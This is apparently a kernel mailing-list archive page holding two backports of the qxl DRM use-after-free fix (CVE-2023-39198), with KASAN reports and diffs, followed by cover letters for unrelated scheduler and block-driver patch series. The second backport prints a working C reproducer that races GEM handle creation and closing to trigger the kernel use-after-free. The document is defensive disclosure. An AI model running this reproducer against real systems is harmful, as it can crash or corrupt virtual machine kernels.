drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa <wander(a)redhat.com> Cc: stable(a)vger.kernel.org Reviewed-by: Dave Airlie <airlied(a)redhat.com> Signed-off-by: Dave Airlie <airlied(a)redhat.com> Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander… Signed-off-by: Greg Kroah-Hartman <gregkh(a)linuxfoundation.org> Signed-off-by: Guo Mengqi <guomengqi3(a)huawei.com> --- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-) diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h index 01220d386b0a..1414907ddb50 100644 --- a/drivers/gpu/drm/qxl/qxl_drv.h +++ b/drivers/gpu/drm/qxl/qxl_drv.h @@ -379,7 +379,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle); void qxl_gem_object_free(struct drm_gem_object *gobj); int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv); diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index c666b89eed5d..e5d5ab5b64ee 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, { struct qxl_device *qdev = dev->dev_private; struct qxl_bo *qobj; + struct drm_gem_object *gobj; uint32_t handle; int r; struct qxl_surface surf; @@ -59,11 +60,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, surf.format = format; r = qxl_gem_object_create_with_handle(qdev, file_priv, QXL_GEM_DOMAIN_VRAM, - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle); if (r) return r; + qobj = gem_to_qxl_bo(gobj); qobj->is_dumb = true; + drm_gem_object_put_unlocked(gobj); args->pitch = pitch; args->handle = handle; return 0; diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c index f5c1e7872e92..886f0cae2dc5 100644 --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -73,32 +73,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size, return 0; } +/* + * If the caller passed a valid gobj pointer, it is responsible to call + * drm_gem_object_put() when it no longer needs to acess the object. + * + * If gobj is NULL, it is handled internally. + */ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, struct drm_file *file_priv, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle) { - struct drm_gem_object *gobj; int r; + struct drm_gem_object *local_gobj; - BUG_ON(!qobj); BUG_ON(!handle); r = qxl_gem_object_create(qdev, size, 0, domain, false, false, surf, - &gobj); + &local_gobj); if (r) return -ENOMEM; - r = drm_gem_handle_create(file_priv, gobj, handle); + r = drm_gem_handle_create(file_priv, local_gobj, handle); if (r) return r; - /* drop reference from allocate - handle holds it now */ - *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put_unlocked(gobj); + + if (gobj) + *gobj = local_gobj; + else + /* drop reference from allocate - handle holds it now */ + drm_gem_object_put_unlocked(local_gobj); + return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c index b60e3df003b4..eb4d6827f74a 100644 --- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -36,7 +36,6 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct qxl_device *qdev = dev->dev_private; struct drm_qxl_alloc *qxl_alloc = data; int ret; - struct qxl_bo *qobj; uint32_t handle; u32 domain = QXL_GEM_DOMAIN_VRAM; @@ -48,7 +47,7 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, domain, qxl_alloc->size, NULL, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); @@ -391,7 +390,6 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, { struct qxl_device *qdev = dev->dev_private; struct drm_qxl_alloc_surf *param = data; - struct qxl_bo *qobj; int handle; int ret; int size, actual_stride; @@ -411,7 +409,7 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, QXL_GEM_DOMAIN_SURFACE, size, &surf, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); -- 2.17.1

2 1

[PATCH OLK-5.10] drm/qxl: fix UAF on handle creation
by Guo Mengqi 13 Nov '23

13 Nov '23

From: Wander Lairson Costa <wander(a)redhat.com> stable inclusion from stable-v5.15.128 commit d578c919deb786b4d6ba8c7639255cb658731671 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZY4 CVE: CVE-2023-39198 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… -------------------------------- commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream. qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 </TASK> Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa <wander(a)redhat.com> Cc: stable(a)vger.kernel.org Reviewed-by: Dave Airlie <airlied(a)redhat.com> Signed-off-by: Dave Airlie <airlied(a)redhat.com> Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander… Signed-off-by: Greg Kroah-Hartman <gregkh(a)linuxfoundation.org> Signed-off-by: Guo Mengqi <guomengqi3(a)huawei.com> --- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-) diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h index aae90a9ee1db..ee59ef2cba77 100644 --- a/drivers/gpu/drm/qxl/qxl_drv.h +++ b/drivers/gpu/drm/qxl/qxl_drv.h @@ -329,7 +329,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle); void qxl_gem_object_free(struct drm_gem_object *gobj); int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv); diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index e377bdbff90d..f7bafc791b1e 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, { struct qxl_device *qdev = to_qxl(dev); struct qxl_bo *qobj; + struct drm_gem_object *gobj; uint32_t handle; int r; struct qxl_surface surf; @@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, r = qxl_gem_object_create_with_handle(qdev, file_priv, QXL_GEM_DOMAIN_SURFACE, - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle); if (r) return r; + qobj = gem_to_qxl_bo(gobj); qobj->is_dumb = true; + drm_gem_object_put(gobj); args->pitch = pitch; args->handle = handle; return 0; diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c index a08da0bd9098..fc5e3763c359 100644 --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size, return 0; } +/* + * If the caller passed a valid gobj pointer, it is responsible to call + * drm_gem_object_put() when it no longer needs to acess the object. + * + * If gobj is NULL, it is handled internally. + */ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, struct drm_file *file_priv, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle) { - struct drm_gem_object *gobj; int r; + struct drm_gem_object *local_gobj; - BUG_ON(!qobj); BUG_ON(!handle); r = qxl_gem_object_create(qdev, size, 0, domain, false, false, surf, - &gobj); + &local_gobj); if (r) return -ENOMEM; - r = drm_gem_handle_create(file_priv, gobj, handle); + r = drm_gem_handle_create(file_priv, local_gobj, handle); if (r) return r; - /* drop reference from allocate - handle holds it now */ - *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put(gobj); + + if (gobj) + *gobj = local_gobj; + else + /* drop reference from allocate - handle holds it now */ + drm_gem_object_put(local_gobj); + return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c index 5cea6eea72ab..9a02c4871400 100644 --- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -39,7 +39,6 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc *qxl_alloc = data; int ret; - struct qxl_bo *qobj; uint32_t handle; u32 domain = QXL_GEM_DOMAIN_VRAM; @@ -51,7 +50,7 @@ static int qxl_alloc_ioctl(struct drm_device *dev, void *data, domain, qxl_alloc->size, NULL, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); @@ -393,7 +392,6 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, { struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc_surf *param = data; - struct qxl_bo *qobj; int handle; int ret; int size, actual_stride; @@ -413,7 +411,7 @@ static int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, QXL_GEM_DOMAIN_SURFACE, size, &surf, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); -- 2.17.1

2 1

[PATCH OLK-5.10 00/19] introduce smart_grid zone
by Yipeng Zou 11 Nov '23

11 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 231 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 133 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 158 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 263 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 51 ++- kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1583 insertions(+), 19 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 00/22] Add error handle for driver
by Li Nan 11 Nov '23

11 Nov '23

Christoph Hellwig (9): block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (7): loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sd: Add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Zhong Jinghua (3): scsi: sd: Clean up sdkp if device_add_disk() failed mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup include/linux/blk-mq.h | 12 +++++ include/linux/genhd.h | 23 +++++++++ block/blk-mq.c | 19 ++++++++ block/genhd.c | 42 +++++++++++++++- drivers/block/brd.c | 103 +++++++++++++++++---------------------- drivers/block/loop.c | 26 +++++----- drivers/block/nbd.c | 60 ++++++++++------------- drivers/mtd/ubi/block.c | 76 ++++++++++++++--------------- drivers/nvme/host/core.c | 41 ++++++++-------- drivers/scsi/sd.c | 8 ++- drivers/scsi/sr.c | 7 ++- 11 files changed, 246 insertions(+), 171 deletions(-) -- 2.39.2

1 22

[PATCH OLK-5.10 v3 00/22] Add error handle for driver
by Li Nan 10 Nov '23

10 Nov '23

Christoph Hellwig (9): block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (7): loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sd: Add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Zhong Jinghua (3): scsi: sd: Clean up sdkp if device_add_disk() failed mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup include/linux/blk-mq.h | 12 